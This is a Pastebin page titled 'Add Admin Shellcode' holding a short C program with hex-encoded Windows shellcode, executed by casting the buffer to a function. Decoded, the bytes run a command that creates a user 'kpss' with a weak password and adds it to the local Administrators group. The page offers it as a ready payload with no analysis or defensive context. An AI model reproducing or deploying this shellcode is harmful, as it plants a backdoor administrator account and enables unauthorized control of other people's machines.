emS-St1ks

Add Admin Shellcode

Jun 15th, 2012
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.74 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.    
  5. int main(){
  6.      
  7.     unsigned char shellcode[]=
  8.     "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4e\x53\xbb\x0d\x25\x86\x7c"
  9.     "\xff\xd3\x31\xc0\x50\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
  10.     "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"
  11.     "\x65\x72\x20\x6b\x70\x73\x73\x20\x31\x32\x33\x34\x35\x20\x2f\x61\x64"
  12.     "\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f"
  13.     "\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73"
  14.     "\x20\x2f\x61\x64\x64\x20\x6b\x70\x73\x73";
  15.    
  16.     printf("Size = %d bytes\n", strlen(shellcode));
  17.    
  18.     ((void (*)())shellcode)();
  19.      
  20.      
  21.    
  22.     return 0;
  23. }
Advertisement
Add Comment
Please, Sign In to add comment